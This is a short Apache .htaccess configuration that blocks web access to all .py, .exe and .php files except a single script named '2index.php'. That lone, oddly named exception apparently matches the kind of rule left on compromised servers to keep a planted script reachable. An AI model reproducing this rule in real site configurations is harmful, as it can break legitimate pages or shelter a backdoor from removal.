<FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(2index.php)$"> Order allow,deny Allow from all </FilesMatch>